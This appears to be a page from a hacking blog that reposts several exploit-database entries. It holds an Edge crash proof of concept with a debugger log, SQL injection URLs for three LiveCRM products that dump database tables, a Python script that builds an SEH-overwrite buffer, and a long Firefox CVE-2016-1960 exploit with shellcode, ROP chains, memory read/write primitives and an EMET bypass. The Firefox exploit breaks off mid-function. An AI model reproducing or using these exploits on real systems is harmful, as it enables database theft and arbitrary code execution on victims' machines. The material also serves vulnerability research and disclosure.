Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863582708

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1264

The vulnerability has been confirmed on Windows 10 Enterprise 64-bit (OS version 1607, OS build 14393.1198) and Microsoft Edge 38.14393.1066.0, Microsoft EdgeHTML 14.14393.

PoC:

==========================================
-->

<!-- saved from url=(0014)about:internet -->
<style>
input:focus { transform: scale(10); }
</style>
<input autofocus="autofocus" type="time">

<!--
=========================================

Preliminary analysis:

CInputDateTimeScrollerElement::_SelectValueInternal calls CInputDateTimeScrollerElement::_UpdateSelected with a pointer that is obtained from an array, approximately:

CInputDateTimeScrollerElement::_SelectValueInternal(...) {
  ...
  this->_UpdateSelected(this->array_at_offset_0xB8[this->index_at_offset_0xD4].ptr_at_index_0, ...);
  ...
}

The problem is that the index in the PoC has unsigned 32-bit value of 0xffffffff, possibly because the data structure has not been properly initialized, which leads to out-of-bound access. If an attacker can put data they control at array+offset, they would be able to call this->_UpdateSelected with a controlled argument, which presumably would be sufficient to turn this into a write primitive.

Crash log:

=========================================

(1afc.1b94): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
edgehtml!CInputDateTimeScrollerElement::_SelectValueInternal+0x57:
00007ffd`625b3903 488b14ca        mov     rdx,qword ptr [rdx+rcx*8] ds:00000290`617a5788=????????????????

0:013> k
 # Child-SP          RetAddr           Call Site
00 00000086`73dfcee0 00007ffd`625b2f87 edgehtml!CInputDateTimeScrollerElement::_SelectValueInternal+0x57
01 00000086`73dfcf30 00007ffd`61f952b7 edgehtml!CInputDateTimeScrollerElement::OnScroll+0xb7
02 00000086`73dfcf60 00007ffd`61e8fc58 edgehtml!CAsyncEventQueue::DispatchAllEvents+0x9b
03 00000086`73dfcfd0 00007ffd`61e8fc12 edgehtml!CDoc::ProcessPaintBeatEventQueue+0x38
04 00000086`73dfd000 00007ffd`61e22c42 edgehtml!CPaintController::ProcessPaintBeatEventQueue+0x12
05 00000086`73dfd030 00007ffd`61e22aee edgehtml!CPaintBeat::OnBeat+0xf2
06 00000086`73dfd080 00007ffd`61ed5eb3 edgehtml!CPaintBeat::OnVSyncMethodCall+0x5e
07 00000086`73dfd0b0 00007ffd`61ed7670 edgehtml!GlobalWndOnMethodCall+0x273
08 00000086`73dfd1b0 00007ffd`7e0a1c24 edgehtml!GlobalWndProc+0x130
09 00000086`73dfd270 00007ffd`7e0a156c user32!UserCallWinProcCheckWow+0x274
0a 00000086`73dfd3d0 00007ffd`5bc0d421 user32!DispatchMessageWorker+0x1ac
0b 00000086`73dfd450 00007ffd`5bc0c9e1 EdgeContent!CBrowserTab::_TabWindowThreadProc+0x4a1
0c 00000086`73dff6a0 00007ffd`705d9586 EdgeContent!LCIETab_ThreadProc+0x2c1
0d 00000086`73dff7c0 00007ffd`7ec28364 iertutil!_IsoThreadProc_WrapperToReleaseScope+0x16
0e 00000086`73dff7f0 00007ffd`7ed970d1 KERNEL32!BaseThreadInitThunk+0x14
0f 00000086`73dff820 00000000`00000000 ntdll!RtlUserThreadStart+0x21

0:013> r
rax=00000000ffffffff rbx=000002786177d770 rcx=00000002fffffffd
rdx=00000278617a57a0 rsi=0000027054093eb8 rdi=00000000ffffff00
rip=00007ffd625b3903 rsp=0000008673dfcee0 rbp=0000000000000001
 r8=000000000a028001  r9=00007ffd6295a4a0 r10=00000fffac3bb648
r11=0000000000000100 r12=0000000000000004 r13=0000000000000002
r14=00000278617f55b0 r15=0000000000000004
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
edgehtml!CInputDateTimeScrollerElement::_SelectValueInternal+0x57:
00007ffd`625b3903 488b14ca        mov     rdx,qword ptr [rdx+rcx*8] ds:00000290`617a5788=????????????????

=========================================
-->
            
# # # # #
# Exploit Title: LiveInvoices 1.0 - SQL Injection
# Dork: N/A
# Date: 18.08.2017
# Vendor Homepage : http://livecrm.co/
# Software Link: https://codecanyon.net/item/liveinvoices-complete-invoicing-system-crm/20243375
# Demo: http://liveinvoices.livecrm.co/livecrm/web/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows the users to inject sql commands ...
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/index.php?r=estimate/estimate/view&id=[SQL]
# 62++/*!11111UnioN*/(/*!11111sELECt*/+0x283129,0x283229,0x283329,0x283429,(select(@x)/*!22222from*/(/*!22222select*/(@x:=0x00),(@running_number:=0),(@tbl:=0x00),(/*!22222select*/(0)/*!22222from*/(information_schema.columns)/*!22222where*/(table_schema=database())and(0x00)in(@x:=/*!22222CoNcaT*/(@x,0x3c62723e,if((@tbl!=table_name),/*!22222CoNcaT*/(0x3c2f6469763e,LPAD(@running_number:=@running_number%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d7265643e,@tbl:=table_name,0x3c2f666f6e743e,0x3c62723e,(@z:=0x00),0x3c646976207374796c653d226d617267696e2d6c6566743a333070783b223e),0x00),lpad(@z:=@z%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d626c75653e,column_name,0x3c2f666f6e743e))))x),0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329)--+-
# 
# http://localhost/[PATH]/index.php?r=invoice/invoice/view&id=[SQL]
# 
# Etc...
# # # # #
            
# # # # #
# Exploit Title: LiveSupport 1.0 - SQL Injection
# Dork: N/A
# Date: 18.08.2017
# Vendor Homepage : http://livecrm.co/
# Software Link: https://codecanyon.net/item/livesupport-complete-ticketing-system-crm/20243447
# Demo: http://livesupport.livecrm.co/livecrm/web/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows the users to inject sql commands ...
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/index.php?Ticket[queue_id]=2&r=support/ticket/queue&id=[SQL]
# 2&r=support/ticket/queue&id=22+/*!44455PrOceDure*/+/*!44455AnaLysE*/+(eXtrActvAlue(0,/*!44455concat*/(0x27,0x3a,version(),0x7e,database())),0)--+-
# 
# http://localhost/[PATH]/index.php?r=support/ticket-resolution/update&id=[SQL]
# 
# http://localhost/[PATH]/index.php?r=support/ticket/update&id=[SQL]
# 
# Etc...
# # # # #
            
# # # # #
# Exploit Title: LiveCRM 1.0 - SQL Injection
# Dork: N/A
# Date: 18.08.2017
# Vendor Homepage : http://livecrm.co/
# Software Link: https://codecanyon.net/item/livecrm-complete-business-management-solution/20249151
# Demo: http://demo.livecrm.co/livecrm/web/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows the working user group to inject sql commands ...
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/index.php?r=estimate/estimate/view&id=[SQL]
# 64+/*!22222UnIoN*/(/*!22222SeLeCT*/+0x283129,0x283229,0x283329,0x283429,(select(@x)/*!22222from*/(/*!22222select*/(@x:=0x00),(@running_number:=0),(@tbl:=0x00),(/*!22222select*/(0)/*!22222from*/(information_schema.columns)/*!22222where*/(table_schema=database())and(0x00)in(@x:=/*!22222CoNcaT*/(@x,0x3c62723e,if((@tbl!=table_name),/*!22222CoNcaT*/(0x3c2f6469763e,LPAD(@running_number:=@running_number%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d7265643e,@tbl:=table_name,0x3c2f666f6e743e,0x3c62723e,(@z:=0x00),0x3c646976207374796c653d226d617267696e2d6c6566743a333070783b223e),0x00),lpad(@z:=@z%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d626c75653e,column_name,0x3c2f666f6e743e))))x),0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329)--+-
# 
# http://localhost/[PATH]/index.php?r=sales/lead/view&id=[SQL]
# 
# http://localhost/[PATH]/index.php?r=invoice/invoice/view&id=[SQL]
# 
# Etc...
# # # # #
            
#!/usr/bin/python
# Exploit Title     : DSScan v1.0 Hostname/IP Field SEH Overwrite POC
# Discovery by      : Anurag Srivastava
# Email             : anurag.srivastava@pyramidcyber.com
# Website	    : http://pyramidcyber.com/
# Discovery Date    : 18/08/2017
# Software Link     : https://www.mcafee.com/in/downloads/free-tools/dsscan.aspx#
# Tested Version    : 1.00
# Vulnerability Type: SEH Overwrite POC
# Tested on OS      : Windows 10 Home x64 
# Steps to Reproduce: Copy contents of evil.txt file and paste in the Hostname/IP Field. Press ->
##########################################################################################
#  -----------------------------------NOTES----------------------------------------------#
##########################################################################################
 
#SEH chain of main thread
#Address    SE handler
#0019F900   43434343
#42424242   *** CORRUPT ENTRY ***

 
# Offset to the SEH Frame is 560
buffer = "A"*560
# Address of the Next SEH Frame
nseh = "B"*4
# Address to the Handler Code
seh = "C" *4
f = open("evil.txt", "wb")
f.write(buffer+nseh+seh)
f.close()
            
<!doctype html>
<html>
<head>
<meta http-equiv="cache-control" content="no-cache" charset="utf-8" />
<title>CVE-2016-1960</title>
<script>
/*
 * Exploit Title: Mozilla Firefox < 45.0 nsHtml5TreeBuilder Array Indexing Vulnerability (EMET 5.52 bypass)
 * Author: Hans Jerry Illikainen (exploit), ca0nguyen (vulnerability)
 * Vendor Homepage: https://mozilla.org
 * Software Link: https://ftp.mozilla.org/pub/firefox/releases/44.0.2/win32/en-US/
 * Version: 44.0.2
 * Tested on: Windows 7 and Windows 10
 * CVE: CVE-2016-1960
 *
 * Exploit for CVE-2016-1960 [1] targeting Firefox 44.0.2 [2] on WoW64
 * with/without EMET 5.52.
 *
 * Tested on:
 * - 64bit Windows 10 Pro+Home (version 1703)
 * - 64bit Windows 7 Pro SP1
 *
 * Vulnerability disclosed by ca0nguyen [1].
 * Exploit written by Hans Jerry Illikainen <hji@dyntopia.com>.
 *
 * [1] https://bugzilla.mozilla.org/show_bug.cgi?id=1246014
 * [2] https://ftp.mozilla.org/pub/firefox/releases/44.0.2/win32/en-US/
 */

"use strict";

/* This is executed after having pivoted the stack.  `esp' points to a
 * region on the heap, and the original stack pointer is stored in
 * `edi'.  In order to bypass EMET, the shellcode should make sure to
 * xchg edi, esp before any protected function is called.
 *
 * For convenience, the first two "arguments" to the shellcode is a
 * module handle for kernel32.dll and the address of GetProcAddress() */
const shellcode = [
    "\x8b\x84\x24\x04\x00\x00\x00", /* mov eax, dword [esp + 0x4] */
    "\x8b\x8c\x24\x08\x00\x00\x00", /* mov ecx, dword [esp + 0x8] */
    "\x87\xe7",                     /* xchg edi, esp */
    "\x56",                         /* push esi */
    "\x57",                         /* push edi */
    "\x89\xc6",                     /* mov esi, eax */
    "\x89\xcf",                     /* mov edi, ecx */
    "\x68\x78\x65\x63\x00",         /* push xec\0 */
    "\x68\x57\x69\x6e\x45",         /* push WinE */
    "\x54",                         /* push esp */
    "\x56",                         /* push esi */
    "\xff\xd7",                     /* call edi */
    "\x83\xc4\x08",                 /* add esp, 0x8 */

    "\x6a\x00",                     /* push 0 */
    "\x68\x2e\x65\x78\x65",         /* push .exe */
    "\x68\x63\x61\x6c\x63",         /* push calc */
    "\x89\xe1",                     /* mov ecx, esp */
    "\x6a\x01",                     /* push 1 */
    "\x51",                         /* push ecx */
    "\xff\xd0",                     /* call eax */
    "\x83\xc4\x0c",                 /* add esp, 0xc */

    "\x5f",                         /* pop edi */
    "\x5e",                         /* pop esi */
    "\x87\xe7",                     /* xchg edi, esp */
    "\xc3",                         /* ret */
];

function ROPHelper(pe, rwx) {
    this.pe = pe;
    this.rwx = rwx;
    this.cache = {};

    this.search = function(instructions) {
        for (let addr in this.cache) {
            if (this.match(this.cache[addr], instructions) === true) {
                return addr;
            }
        }

        const text = this.pe.text;
        for (let addr = text.base; addr < text.base + text.size; addr++) {
            const read = this.rwx.readBytes(addr, instructions.length);
            if (this.match(instructions, read) === true) {
                this.cache[addr] = instructions;
                return addr;
            }
        }

        throw new Error("could not find gadgets for " + instructions);
    };

    this.match = function(a, b) {
        if (a.length !== b.length) {
            return false;
        }

        for (let i = 0; i < a.length; i++) {
            if (a[i] !== b[i]) {
                return false;
            }
        }
        return true;
    };

    this.execute = function(func, args, cleanup) {
        const u32array = this.rwx.u32array;
        const ret = this.rwx.calloc(4);
        let i = this.rwx.div.mem.idx + 2941; /* gadgets after [A] and [B] */

        /*
         * [A] stack pivot
         *
         * xchg eax, esp
         * ret 0x2de8
         */
        const pivot = this.search([0x94, 0xc2, 0xe8, 0x2d]);

        /*
         * [B] preserve old esp in a nonvolatile register
         *
         * xchg eax, edi
         * ret
         */
        const after = this.search([0x97, 0xc3]);

        /*
         * [C] address to execute
         */
        u32array[i++] = func;

        if (cleanup === true && args.length > 0) {
            if (args.length > 1) {
                /*
                 * [E] return address from [C]: cleanup args on the stack
                 *
                 * add esp, args.length*4
                 * ret
                 */
                u32array[i++] = this.search([0x83, 0xc4, args.length*4, 0xc3]);
            } else {
                /*
                 * [E] return address from [C]: cleanup arg
                 *
                 * pop ecx
                 * ret
                 */
                u32array[i++] = this.search([0x59, 0xc3]);
            }
        } else {
            /*
             * [E] return address from [C]
             *
             * ret
             */
            u32array[i++] = this.search([0xc3]);
        }

        /*
         * [D] arguments for [C]
         */
        for (let j = 0; j < args.length; j++) {
            u32array[i++] = args[j];
        }

        /*
         * [F] pop the location for the return value
         *
         * pop ecx
         * ret
         */
        u32array[i++] = this.search([0x59, 0xc3]);

        /*
         * [G] address to store the return value
         */
        u32array[i++] = ret.addr;

        /*
         * [H] move the return value to [G]
         *
         * mov dword [ecx], eax
         * ret
         */
        u32array[i++] = this.search([0x89, 0x01, 0xc3]);

        /*
         * [I] restore the original esp and return
         *
         * mov esp, edi
         * ret
         */
        u32array[i++] = this.search([0x89, 0xfc, 0xc3]);

        this.rwx.execute(pivot, after);

        return u32array[ret.idx];
    };
}

function ICUUC55(rop, pe, rwx) {
    this.rop = rop;
    this.pe = pe;
    this.rwx = rwx;
    this.kernel32 = new KERNEL32(rop, pe, rwx);
    this.icuuc55handle = this.kernel32.GetModuleHandleA("icuuc55.dll");

    /*
     * The invocation of uprv_malloc_55() requires special care since
     * pAlloc points to a protected function (VirtualAlloc).
     *
     * ROPHelper.execute() can't be used because:
     * 1. it pivots the stack to the heap (StackPivot protection)
     * 2. it returns into the specified function (Caller protection)
     * 3. the forward ROP chain is based on returns (SimExecFlow protection)
     *
     * This function consist of several steps:
     * 1. a second-stage ROP chain is written to the stack
     * 2. a first-stage ROP chain is executed that pivots to the heap
     * 3. the first-stage ROP chain continues by pivoting to #1
     * 4. uprv_malloc_55() is invoked
     * 5. the return value is saved
     * 6. the original stack is restored
     *
     * Of note is that uprv_malloc_55() only takes a `size' argument,
     * and it passes two arguments to the hijacked pAlloc function
     * pointer (context and size; both in our control).  VirtualAlloc,
     * on the other hand, expects four arguments.  So, we'll have to
     * setup the stack so that the values interpreted by VirtualAlloc as
     * its arguments are reasonably-looking.
     *
     * By the time that uprv_malloc_55() is returned into, the stack
     * will look like:
     * [A] [B] [C] [D]
     *
     * When pAlloc is entered, the stack will look like:
     * [uprv_malloc_55()-ret] [pContext] [B] [A] [B] [C] [D]
     *
     * Since we've set pAlloc to point at VirtualAlloc, the call is
     * interpreted as VirtualAlloc(pContext, B, A, B);
     *
     * Hence, because we want `flProtect' to be PAGE_EXECUTE_READWRITE,
     * we also have to have a `size' with the same value; meaning our
     * rwx allocation will only be 0x40 bytes.
     *
     * This is not a problem, since we can simply write a small snippet
     * of shellcode that allocates a larger region in a non-ROPy way
     * afterwards.
     */
    this.uprv_malloc_55 = function(stackAddr) {
        const func = this.kernel32.GetProcAddress(this.icuuc55handle,
                                                  "uprv_malloc_55");
        const ret = this.rwx.calloc(4);
        const u32array = this.rwx.u32array;

        /**********************
         * second stage gadgets
         **********************/
        const stackGadgets = new Array(
            func,

            0x1000,     /* [A] flAllocationType (MEM_COMMIT) */
            0x40,       /* [B] dwSize and flProtect (PAGE_EXECUTE_READWRITE) */
            0x41414141, /* [C] */
            0x42424242, /* [D] */

            /*
             * location to write the return value
             *
             * pop ecx
             * ret
             */
            this.rop.search([0x59, 0xc3]),
            ret.addr,

            /*
             * do the write
             *
             * mov dword [ecx], eax
             * ret
             */
            this.rop.search([0x89, 0x01, 0xc3]),

            /*
             * restore the old stack
             *
             * mov esp, edi
             * ret
             */
            this.rop.search([0x89, 0xfc, 0xc3])
        );

        const origStack = this.rwx.readDWords(stackAddr, stackGadgets.length);
        this.rwx.writeDWords(stackAddr, stackGadgets);


        /*********************
         * first stage gadgets
         *********************/
        /*
         * pivot
         *
         * xchg eax, esp
         * ret 0x2de8
         */
        const pivot = this.rop.search([0x94, 0xc2, 0xe8, 0x2d]);

        /*
         * preserve old esp in a nonvolatile register
         *
         * xchg eax, edi
         * ret
         */
        const after = this.rop.search([0x97, 0xc3]);

        /*
         * pivot to the second stage
         *
         * pop esp
         * ret
         */
        u32array[this.rwx.div.mem.idx + 2941] = this.rop.search([0x5c, 0xc3]);
        u32array[this.rwx.div.mem.idx + 2942] = stackAddr;

        /*
         * here we go :)
         */
        this.rwx.execute(pivot, after);
        this.rwx.writeDWords(stackAddr, origStack);

        if (u32array[ret.idx] === 0) {
            throw new Error("uprv_malloc_55() failed");
        }
        return u32array[ret.idx];
    };

    /*
     * Overrides the pointers in firefox-44.0.2/intl/icu/source/common/cmemory.c
     */
    this.u_setMemoryFunctions_55 = function(context, a, r, f, status) {
        const func = this.kernel32.GetProcAddress(this.icuuc55handle,
                                                  "u_setMemoryFunctions_55");
        this.rop.execute(func, [context, a, r, f, status], true);
    };

    /*
     * Sets `pAlloc' to VirtualAlloc.  `pRealloc' and `pFree' are
     * set to point to small gadgets.
     */
    this.set = function() {
        const status = this.rwx.calloc(4);
        const alloc = this.pe.search("kernel32.dll", "VirtualAlloc");

        /* pretend to be a failed reallocation
         *
         * xor eax, eax
         * ret */
        const realloc = this.rop.search([0x33, 0xc0, 0xc3]);

        /* let the chunk live
         *
         * ret */
        const free = this.rop.search([0xc3]);

        this.u_setMemoryFunctions_55(0, alloc, realloc, free, status.addr);
        if (this.rwx.u32array[status.idx] !== 0) {
            throw new Error("u_setMemoryFunctions_55() failed");
        }
    };

    /*
     * This (sort of) restores the functionality in
     * intl/icu/source/common/cmemory.c by reusing the previously
     * allocated PAGE_EXECUTE_READWRITE chunk to set up three stubs that
     * invokes an appropriate function in mozglue.dll
     */
    this.reset = function(chunk) {
        const u32array = this.rwx.u32array;
        const status = this.rwx.calloc(4);

        /*
         * pFree
         */
        const free = {};
        free.addr = chunk;
        free.func = this.rwx.calloc(4);
        free.func.str = this.dword2str(free.func.addr);
        free.code = [
            "\x8b\x84\x24\x08\x00\x00\x00", /* mov eax, dword [esp + 0x8] */
            "\x50",                         /* push eax */
            "\x8b\x05" + free.func.str,     /* mov eax, [location-of-free] */
            "\xff\xd0",                     /* call eax */
            "\x59",                         /* pop ecx */
            "\xc3",                         /* ret */
        ].join("");
        u32array[free.func.idx] = this.pe.search("mozglue.dll", "free");
        this.rwx.writeString(free.addr, free.code);

        /*
         * pAlloc
         */
        const alloc = {};
        alloc.addr = chunk + free.code.length;
        alloc.func = this.rwx.calloc(4);
        alloc.func.str = this.dword2str(alloc.func.addr);
        alloc.code = [
            "\x8b\x84\x24\x08\x00\x00\x00", /* mov eax, dword [esp + 0x8] */
            "\x50",                         /* push eax */
            "\x8b\x05" + alloc.func.str,    /* mov eax, [location-of-alloc] */
            "\xff\xd0",                     /* call eax */
            "\x59",                         /* pop ecx */
            "\xc3",                         /* ret */
        ].join("");
        u32array[alloc.func.idx] = this.pe.search("mozglue.dll", "malloc");
        this.rwx.writeString(alloc.addr, alloc.code);

        /*
         * pRealloc
         */
        const realloc = {};
        realloc.addr = chunk + free.code.length + alloc.code.length;
        realloc.func = this.rwx.calloc(4);
        realloc.func.str = this.dword2str(realloc.func.addr);
        realloc.code = [
            "\x8b\x84\x24\x0c\x00\x00\x00", /* mov eax, dword [esp + 0xc] */
            "\x50",                         /* push eax */
            "\x8b\x84\x24\x0c\x00\x00\x00", /* mov eax, dword [esp + 0xc] */
            "\x50",                         /* push eax */
            "\x8b\x05" + realloc.func.str,  /* mov eax, [location-of-realloc] */
            "\xff\xd0",                     /* call eax */
            "\x59",                         /* pop ecx */
            "\x59",                         /* pop ecx */
            "\xc3",                         /* ret */
        ].join("");
        u32array[realloc.func.idx] = this.pe.search("mozglue.dll", "realloc");
        this.rwx.writeString(realloc.addr, realloc.code);

        this.u_setMemoryFunctions_55(0,
                                     alloc.addr,
                                     realloc.addr,
                                     free.addr,
                                     status.addr);
        if (u32array[status.idx] !== 0) {
            throw new Error("u_setMemoryFunctions_55() failed");
        }
    };

    /*
     * Allocates a small chunk of memory marked RWX, which is used
     * to allocate a `size'-byte chunk (see uprv_malloc_55()).  The
     * first allocation is then repurposed in reset().
     */
    this.alloc = function(stackAddr, size) {
        /*
         * hijack the function pointers
         */
        this.set();

        /*
         * do the initial 0x40 byte allocation
         */
        const chunk = this.uprv_malloc_55(stackAddr);
        log("allocated 0x40 byte chunk at 0x" + chunk.toString(16));

        /*
         * allocate a larger chunk now that we're no longer limited to ROP/JOP
         */
        const u32array = this.rwx.u32array;
        const func = this.rwx.calloc(4);
        func.str = this.dword2str(func.addr);
        u32array[func.idx] = this.pe.search("kernel32.dll", "VirtualAlloc");
        const code = [
            "\x87\xe7",                    /* xchg edi, esp (orig stack) */
            "\x6a\x40",                    /* push 0x40 (flProtect) */
            "\x68\x00\x10\x00\x00",        /* push 0x1000 (flAllocationType) */
            "\xb8" + this.dword2str(size), /* move eax, size */
            "\x50",                        /* push eax (dwSize) */
            "\x6a\x00",                    /* push 0 (lpAddress) */
            "\x8b\x05" + func.str,         /* mov eax, [loc-of-VirtualAlloc] */
            "\xff\xd0",                    /* call eax */
            "\x87\xe7",                    /* xchg edi, esp (back to heap) */
            "\xc3",                        /* ret */
        ].join("");
        this.rwx.writeString(chunk, code);
        const newChunk = this.rop.execute(chunk, [], false);
        log("allocated " + size + " byte chunk at 0x" + newChunk.toString(16));

        /*
         * repurpose the first rwx chunk to restore functionality
         */
        this.reset(chunk);

        return newChunk;
    };

    this.dword2str = function(dword) {
        let str = "";
        for (let i = 0; i < 4; i++) {
            str += String.fromCharCode((dword >> 8 * i) & 0xff);
        }
        return str;
    };
}

function KERNEL32(rop, pe, rwx) {
    this.rop = rop;
    this.pe = pe;
    this.rwx = rwx;

    /*
     * Retrieves a handle for an imported module
     */
    this.GetModuleHandleA = function(lpModuleName) {
        const func = this.pe.search("kernel32.dll", "GetModuleHandleA");
        const name = this.rwx.copyString(lpModuleName);
        const module = this.rop.execute(func, [name.addr], false);
        if (module === 0) {
            throw new Error("could not get a handle for " + lpModuleName);
        }
        return module;
    };

    /*
     * Retrieves the address of an exported symbol.  Do not invoke this
     * function on protected modules (if you want to bypass EAF); instead
     * try to locate the symbol in any of the import tables or choose
     * another target.
     */
    this.GetProcAddress = function(hModule, lpProcName) {
        const func = this.pe.search("kernel32.dll", "GetProcAddress");
        const name = this.rwx.copyString(lpProcName);
        const addr = this.rop.execute(func, [hModule, name.addr], false);
        if (addr === 0) {
            throw new Error("could not get address for " + lpProcName);
        }
        return addr;
    };

    /*
     * Retrieves a handle for the current thread
     */
    this.GetCurrentThread = function() {
        const func = this.pe.search("kernel32.dll", "GetCurrentThread");
        return this.rop.execute(func, [], false);
    };
}

function NTDLL(rop, pe, rwx) {
    this.rop = rop;
    this.pe = pe;
    this.rwx = rwx;

    /*
     * Retrieves the stack limit from the Thread Environment Block
     */
    this.getStackLimit = function(ThreadHandle) {
        const mem = this.rwx.calloc(0x1c);
        this.NtQueryInformationThread(ThreadHandle, 0, mem.addr, mem.size, 0);
        return this.rwx.readDWord(this.rwx.u32array[mem.idx+1] + 8);
    };

    /*
     * Retrieves thread information
     */
    this.NtQueryInformationThread = function(ThreadHandle,
                                             ThreadInformationClass,
                                             ThreadInformation,
                                             ThreadInformationLength,
                                             ReturnLength) {
        const func = this.pe.search("ntdll.dll", "NtQueryInformationThread");
        const ret = this.rop.execute(func, arguments, false);
        if (ret !== 0) {
            throw new Error("NtQueryInformationThread failed");
        }
        return ret;
    };
}

function ReadWriteExecute(u32base, u32array, array) {
    this.u32base = u32base;
    this.u32array = u32array;
    this.array = array;

    /*
     * Reads `length' bytes from `addr' through a fake string
     */
    this.readBytes = function(addr, length) {
        /* create a string-jsval */
        this.u32array[4] = this.u32base + 6*4;   /* addr to meta */
        this.u32array[5] = 0xffffff85;           /* type (JSVAL_TAG_STRING) */

        /* metadata */
        this.u32array[6] = 0x49;   /* flags */
        this.u32array[7] = length; /* read size */
        this.u32array[8] = addr;   /* memory to read */

        /* Uint8Array is *significantly* slower, which kills our ROP hunting */
        const result = new Array();

        const str = this.getArrayElem(4);
        for (let i = 0; i < str.length; i++) {
            result[i] = str.charCodeAt(i);
        }

        return result;
    };

    this.readDWords = function(addr, num) {
        const bytes = this.readBytes(addr, num * 4);
        const dwords = new Uint32Array(num);
        for (let i = 0; i < bytes.length; i += 4) {
            for (let j = 0; j < 4; j++) {
                dwords[i/4] |= bytes[i+j] << (8 * j);
            }
        }
        return dwords;
    };

    this.readDWord = function(addr) {
        return this.readDWords(addr, 1)[0];
    };

    this.readWords = function(addr, num) {
        const bytes = this.readBytes(addr, num * 2);
        const words = new Uint16Array(num);
        for (let i = 0; i < bytes.length; i += 2) {
            for (let j = 0; j < 2; j++) {
                words[i/2] |= bytes[i+j] << (8 * j);
            }
        }
        return words;
    };

    this.readWord = function(addr) {
        return this.readWords(addr, 1)[0];
    };

    this.readString = function(addr) {
        for (let i = 0, str = ""; ; i++) {
            const chr = this.readBytes(addr + i, 1)[0];
            if (chr === 0) {
                return str;
            }
            str += String.fromCharCode(chr);
        }
    };

    /*
     * Writes `values' to `addr' by using the metadata of an Uint8Array
     * to set up a write primitive
     */
    this.writeBytes = function(addr, values) {
        /* create jsval */
        const jsMem = this.calloc(8);
        this.setArrayElem(jsMem.idx, new Uint8Array(values.length));

        /* copy metadata */
        const meta = this.readDWords(this.u32array[jsMem.idx], 12);
        const metaMem = this.calloc(meta.length * 4);
        for (let i = 0; i < meta.length; i++) {
            this.u32array[metaMem.idx + i] = meta[i];
        }

        /* change the pointer to the contents of the Uint8Array */
        this.u32array[metaMem.idx + 10] = addr;

        /* change the pointer to the metadata */
        const oldMeta = this.u32array[jsMem.idx];
        this.u32array[jsMem.idx] = metaMem.addr;

        /* write */
        const u8 = this.getArrayElem(jsMem.idx);
        for (let i = 0; i < values.length; i++) {
            u8[i] = values[i];
        }

        /* clean up */
        this.u32array[jsMem.idx] = oldMeta;
    };

    this.writeDWords = function(addr, values) {
        const u8 = new Uint8Array(values.length * 4);
        for (let i = 0; i < values.length; i++) {
            for (let j = 0; j < 4; j++) {
                u8[i*4 + j] = values[i] >> (8 * j) & 0xff;
            }
        }
        this.writeBytes(addr, u8);
    };

    this.writeDWord = function(addr, value) {
        const u32 = new Uint32Array(1);
        u32[0] = value;
        this.writeDWords(addr, u32);
    };

    this.writeString = function(addr, str) {
        const u8 = new Uint8Array(str.length);

        for (let i = 0; i < str.length; i++) {
            u8[i] = str.charCodeAt(i);
        }
        this.writeBytes(addr, u8);
    };

    /*
     * Copies a string to the `u32array' and returns an object from
     * calloc().
     *
     * This is an ugly workaround to allow placing a string at a known
     * location without having to implement proper support for JSString
     * and its various string types.
     */
    this.copyString = function(str) {
        str += "\x00".repeat(4 - str.length % 4);
        const mem = this.calloc(str.length);

        for (let i = 0, j = 0; i < str.length; i++) {
            if (i && !(i % 4)) {
                j++;
            }
            this.u32array[mem.idx + j] |= str.charCodeAt(i) << (8 * (i % 4));
        }
        return mem;
    };

    /*
     * Creates a <div> and copies the contents of its vftable to
     * writable memory.
     */
    this.createExecuteDiv = function() {
        const div = {};

        /* 0x3000 bytes should be enough for the div, vftable and gadgets */
        div.mem = this.calloc(0x3000);

        div.elem = document.createElement("div");
        this.setArrayElem(div.mem.idx, div.elem);

        /* addr of the div */
        const addr = this.u32array[div.mem.idx];

        /* *(addr+4) = this */
        const ths = this.readDWord(addr + 4*4);

        /* *this = xul!mozilla::dom::HTMLDivElement::`vftable' */
        const vftable = this.readDWord(ths);

        /* copy the vftable (the size is a guesstimate) */
        const entries = this.readDWords(vftable, 512);
        this.writeDWords(div.mem.addr + 4*2, entries);

        /* replace the pointer to the original vftable with ours */
        this.writeDWord(ths, div.mem.addr + 4*2);

        return div;
    };

    /*
     * Replaces two vftable entries of the previously created div and
     * triggers code execution
     */
    this.execute = function(pivot, postPivot) {
        /* vftable entry for xul!nsGenericHTMLElement::QueryInterface
         * kind of ugly, but we'll land here after the pivot that's used
         * in ROPHelper.execute() */
        const savedQueryInterface = this.u32array[this.div.mem.idx + 2];
        this.u32array[this.div.mem.idx + 2] = postPivot;

        /* vftable entry for xul!nsGenericHTMLElement::Click */
        const savedClick = this.u32array[this.div.mem.idx + 131];
        this.u32array[this.div.mem.idx + 131] = pivot;

        /* execute */
        this.div.elem.click();

        /* restore our overwritten vftable pointers */
        this.u32array[this.div.mem.idx + 2] = savedQueryInterface;
